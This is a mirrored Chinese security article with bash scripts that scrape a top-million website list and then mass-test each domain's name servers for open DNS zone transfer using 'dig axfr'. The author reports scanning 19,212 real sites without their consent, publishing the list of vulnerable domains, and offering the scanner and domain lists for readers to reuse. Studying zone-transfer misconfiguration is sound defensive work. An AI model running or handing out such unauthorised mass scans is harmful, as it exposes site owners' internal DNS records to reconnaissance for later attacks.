批次網站DNS區域傳送漏洞檢測——bash shell實現

wyzsk發表於2020-08-19
作者: 燕雲 · 2014/05/21 12:18

0x00 背景


下面圖中的eecs.cc為筆者自建的一臺具有私有根的DNS伺服器,且對外開放了區域傳送許可權,故有結果:cc區域傳送成功。該圖只是一個實驗驗證,下面文章正式開始!

2014051922562284748.png

0x01 尋找域名


從網際網路上尋找全球Top1000Web站點列表。

搜尋,發現 http://www.domainvader.com/website/top-sites.php 站點有需要的資訊。

處理過程如下:

·此處共計1000個統計頁面,每個頁面有1000個站點資訊,故依次抓取這1000個html文件; 
·使用grep結合正規表示式從這1000個文件之中過濾出我們需要的域名,共計1000000個。 

程式碼如下:

其中,grab.sh的引數threads意思為併發GET程式數,視雙方通訊鏈路狀態而定,預設為1,如果鏈路很好,可適當提高,但不宜過高,以防GET請求超時。 

grab.sh:

#!bash
#!/bin/bash
declare x
declare threads=1
# process concurrency
declare mod

for x in `seq 1 1000`
do
  echo "http://www.domainvader.com/website/top-${x}000-sites.php"
  time GET "http://www.domainvader.com/website/top-${x}000-sites.php" > $x.html &
  mod=$(( x%threads ))
  if [ "$mod" -eq "0" ]
  then
    wait
  fi
done

translate.sh:

#!bash
#!/bin/bash

declare x
declare l

if [ -r "top100_0000sites.txt" ]
then
  rm -f top100_0000sites.txt
fi

touch top100_0000sites.txt

for x in `seq 1 1000`
do
  echo "analyzing ${x}.html..."
# check if readable
  if ! [ -r "${x}.html" ]
  then
    echo "file ${x}.html doesn't exist or aren't readable :("
    echo "file top100_0000sites.txt collect total `cat top100_0000sites.txt | wc -l` websites"
    exit 1
  fi
  l=`grep -Eo --color 'target="_blank">(http://([A-Za-z0-9_-]+)(\.([A-Za-z0-9_-])+)+)' ${x}.html | wc -l` 
# check content if been entirely grabbed
  if [ "$l" -ne "1000" ]
  then
    echo "file ${x}.html's content is not entire :( please check"
    echo "file top100_0000sites.txt collect total `cat top100_0000sites.txt | wc -l` websites"
    exit 1
  fi
  grep -Eo --color 'target="_blank">(http://([A-Za-z0-9_-]+)(\.([A-Za-z0-9_-])+)+)' ${x}.html | grep -Eo --color '(([A-Za-z0-9_-]+)(\.([A-Za-z0-9_-])+)+)$' >> top100_0000sites.txt
done
  echo "done :)"
  echo "file top100_0000sites.txt collect total `cat top100_0000sites.txt | wc -l` websites" 

最終效果圖:

2014051923095424447.png

0x02 DNS區域傳送許可權自動檢測


有如下命題:

#!bash

    if dig @${ns} ${d} axfr | grep -E --color 'IN[[:space:]]+A|IN[[:space:]]+NS' &>/dev/null

    then 

      echo "nice! a hole"

    fi

上述命題是整個檢測程式的核心所在,這個命題是成立的。

dns_transfer_check.sh 程式碼如下:

其中,threads為併發數,預設設定為40,由於一個域名很可能對應多個ns,觀察得到實際併發數大概為threads*3 ,domainFileList為參與檢測的域名列表檔案,可自定義之。

#!bash
#!/bin/bash

declare d
declare s=0
declare ns_str
declare ns
declare mod
declare threads=40
# process concurrency
declare domainFileList="top100_0000sites.txt"

for d in `cat $domainFileList`
do
  s=$(( s+1  ))
  echo "${s} : ${d}"
  ns_str=`dig -t ns ${d} | grep -E --color 'IN.*NS.*[[:space:]]([A-Za-z0-9_-]+)(\.([A-Za-z0-9_-])+)+\.' | awk  '{print $5}' | grep -Eo --color '([A-Za-z0-9_-]+)(\.([A-Za-z0-9_-])+)+'`
  for ns in $ns_str
  do
    echo $ns
    if dig @${ns} ${d} axfr | grep -E --color 'IN[[:space:]]+A|IN[[:space:]]+NS' &>/dev/null ; then echo "nice! transfer done! :) rank: $s  domain: $d  ns: $ns  ---->" ; fi & 
  done
  mod=$(( s%threads ))
  if [ "$mod" -eq 0 ] 
  then
    wait
  fi
done

程式結束。

#!bash
# nohup bash dns_transfer_check.sh &>log &

執行一夜之後,掃描到了前19212個站點,然後使用grep、awk、sed等工具處理之,得到滿意結果。

WooYun: 全球Top1000Websites中存在DNS區域傳送漏洞的網站列表

dns_domain_check.zip

這是所有資料的連結。重點是dns_transfer_check.sh與域名列表,讀者可按照自己的需要自定義引數使用。

除了world_top1000000,還包含了china_top500與china_top1344_entertainment站點列表 :) 

希望這篇文章能幫助大家!

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章